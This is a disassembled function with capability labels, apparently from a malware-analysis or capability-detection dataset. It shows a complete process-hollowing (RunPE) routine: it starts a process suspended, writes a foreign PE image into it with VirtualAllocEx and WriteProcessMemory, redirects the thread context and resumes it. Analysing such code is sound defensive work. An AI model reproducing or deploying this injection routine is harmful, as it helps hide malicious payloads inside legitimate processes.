Function at 0x179a8
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Enumerate pe sections
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffebc
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x144], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.00014044
xor eax, eax
push ebp
push 0x17c55
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
add eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 4]
call fcn.00017934
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
call fcn.0001251c
mov dword [ebp - 0x20], eax
xor edx, edx
push ebp
push 0x17c2d
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x54]
mov edx, dword [ebp - 0x1c]
lea esi, [edx + 0x18]
mov edx, dword [ebp - 0x1c]
movzx edx, word [edx + 0x14]
add esi, edx
mov edx, dword [ebp - 0x1c]
movzx edi, word [edx + 6]
dec edi
test edi, edi
jb 0x17a46
inc edi
xor ebx, ebx
lea edx, [ebx + ebx*4]
cmp eax, dword [esi + edx*8 + 0x14]
jbe 0x17a42
lea eax, [ebx + ebx*4]
mov eax, dword [esi + eax*8 + 0x14]
inc ebx
dec edi
jne 0x17a32
mov ecx, eax
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x18]
call fcn.00014f10
mov eax, dword [ebp - 0x1c]
mov edx, dword [eax + 0x38]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x54]
call fcn.00017914
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x1c]
movzx edi, word [eax + 6]
dec edi
test edi, edi
jb 0x17ae8
inc edi
xor ebx, ebx
lea eax, [ebx + ebx*4]
mov eax, dword [esi + eax*8 + 0x10]
test eax, eax
jbe 0x17ac2
lea edx, [ebx + ebx*4]
cmp eax, dword [esi + edx*8 + 8]
jbe 0x17a94
lea eax, [ebx + ebx*4]
mov eax, dword [esi + eax*8 + 8]
lea edx, [ebx + ebx*4]
mov edx, dword [esi + edx*8 + 0x14]
add edx, dword [ebp - 4]
mov ecx, eax
mov eax, dword [ebp - 0x18]
call fcn.00014f10
lea eax, [ebx + ebx*4]
mov eax, dword [esi + eax*8 + 8]
mov edx, dword [ebp - 0x1c]
mov edx, dword [edx + 0x38]
call fcn.00017914
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
jmp 0x17ae4
lea eax, [ebx + ebx*4]
cmp dword [esi + eax*8 + 8], 0
je 0x17ae4
lea eax, [ebx + ebx*4]
mov eax, dword [esi + eax*8 + 8]
mov edx, dword [ebp - 0x1c]
mov edx, dword [edx + 0x38]
call fcn.00017914
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
inc ebx
dec edi
jne 0x17a79
lea eax, [ebp - 0x140]
mov edx, 0x44
call fcn.00014f18
lea eax, [ebp - 0xec]
mov edx, 0xcc
call fcn.00014f18
lea eax, [ebp - 0xfc]
push eax
lea eax, [ebp - 0x140]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
lea edx, [ebp - 0x144]
xor eax, eax
call fcn.00012778
lea eax, [ebp - 0x144]
mov edx, dword [ebp - 8]
call fcn.00013e5c
mov eax, dword [ebp - 0x144]
call fcn.00014054
push eax
push 0
call sub.kernel32.dll_CreateProcessA
mov dword [ebp - 0xec], 0x10007
lea eax, [ebp - 0xec]
push eax
mov eax, dword [ebp - 0xf8]
push eax
call sub.kernel32.dll_GetThreadContext
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x48]
add eax, 8
push eax
mov eax, dword [ebp - 0xfc]
push eax
call sub.kernel32.dll_ReadProcessMemory
push 0x40
push 0x3000
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x34]
push eax
mov eax, dword [ebp - 0xfc]
push eax
call sub.kernel32.dll_VirtualAllocEx
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x20]
push eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x34]
push eax
mov eax, dword [ebp - 0xfc]
push eax
call sub.kernel32.dll_WriteProcessMemory
lea eax, [ebp - 0x10]
push eax
push 4
mov eax, dword [ebp - 0x1c]
add eax, 0x34
push eax
mov eax, dword [ebp - 0x48]
add eax, 8
push eax
mov eax, dword [ebp - 0xfc]
push eax
call sub.kernel32.dll_WriteProcessMemory
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x34]
mov edx, dword [ebp - 0x1c]
add eax, dword [edx + 0x28]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0xec]
push eax
mov eax, dword [ebp - 0xf8]
push eax
call sub.kernel32.dll_SetThreadContext
mov eax, dword [ebp - 0xf8]
push eax
call sub.kernel32.dll_ResumeThread
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x17c34
mov eax, dword [ebp - 0x20]
push eax
call fcn.000149e0
pop ecx
ret